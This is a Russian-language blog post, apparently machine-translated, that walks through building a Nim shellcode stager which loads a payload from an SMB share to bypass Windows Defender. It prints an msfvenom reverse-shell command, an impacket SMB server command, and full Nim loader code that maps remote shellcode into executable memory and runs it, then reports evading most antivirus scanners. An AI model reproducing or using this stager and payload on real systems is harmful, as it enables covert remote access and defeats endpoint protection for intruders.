Разработка SMB stager в Nim
Здравствуйте товарищи красноармейцы. Недавно я начал связываться с Нимом по поводу оскорбительного кодирования. Честно говоря, мне это кажется сложным и странным, но это РАБОТАЕТ!
Сегодня мы разрабатываем простой стейджер SMB, минуя Защитник Windows на момент тестирования.
Если вы предпочитаете смотреть видео, а не читать, полное видео можно найти здесь:https://youtu.be/qq-S2syksL0
Кроме того, если вы заинтересованы в том, чтобы присоединиться к открытому Discord для обмена знаниями и опытом в области кибербезопасности, добро пожаловать:https://discord.gg/dWCe5ZMvtQ
Погнали
Теория довольно проста, идея состоит в том, чтобы избежать записи шелл-кода в файл, минуя обнаружение на основе сигнатур, а также помогая эвристикам. Сначала я пытался загрузить шеллкод по HTTP, но столкнулся со многими проблемами, которые не смог решить самостоятельно. Затем методика немного изменилась. Вместо того, чтобы загружать его с HTTP, полезная нагрузка будет размещена на общем ресурсе SMB и будет напрямую считываться оттуда.
Я использовал бесступенчатую полезную нагрузку msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin
impacket-smbserver smb . -ts -debug -smb2support
import winim/lean
var filename = "\\\\192.168.153.128\\smb\\code.bin"
var file: File = open(filename, fmRead)
var fileSize = file.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close
echo shellcode
echo fileSize
echo sizeof(shellcode)
type
buf* = LPVOID
var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()
Прежде всего, мы должны импортировать библиотеку ядра Windows, что позволит нам вызывать Windows API:
import winim/lean
var filename = "\\\\192.168.153.128\\smb\\code.bin"
var file: File = open(filename, fmRead)
var fileSize = file.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close
type
buf* = LPVOID
var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()
Время испытаний!
Я провел 2 теста. Первый — против клиента Windows 10 с включенным и работающим Защитником. Второй против интерфейса antiscan.me.
Ним Стагер против Защитника Windows
Тест 1 начинается с переноса стейджера в файловую систему. Пока ничего не срабатывает, то есть мы успешно обошли обнаружение на основе сигнатур. Теперь запустим и посмотрим:

Стейджер оказался вполне работоспособным, и вот что странно, Defender удалось запустить, но это не убило шелл:

У меня эта оболочка работала несколько минут, и она была полностью функциональной. Я лично понятия не имею, почему защитник не убил его, если вы знаете ответ, я был бы рад поделиться.
Ним Стагер против Антисканме
Не поймите меня неправильно, antiscanme великолепен, но при тестировании стейджеров у них нет способа представить достоверные результаты. Результаты, которые вы видите, полностью основаны на обнаружении на основе сигнатур, поскольку у них нет сетевой возможности для загрузки фактического шеллкода. Я ожидаю, что больше поставщиков AV поймут это при реальном тестировании, но это хороший «первый шаг».
После загрузки стейджера только 4 из 26 вендоров смогли его поймать.

Я считаю, что этот триггер основан на том, что поставщики читают вызовы API Windows, поэтому считают это вредоносным. Конечно, чтобы проверить, что именно пошло не так, мне нужно было бы провести много-много тестов. Это моя теория на данный момент.
Заключение
Играть с Нимом весело, а результаты, которых мы достигли, просто инсценируя вещи, поразительны. Конечно, мы можем использовать более продвинутые методы обхода AV, но мы будем делать это в будущем. Надеюсь, вы нашли этот материал полезным и узнали что-то новое.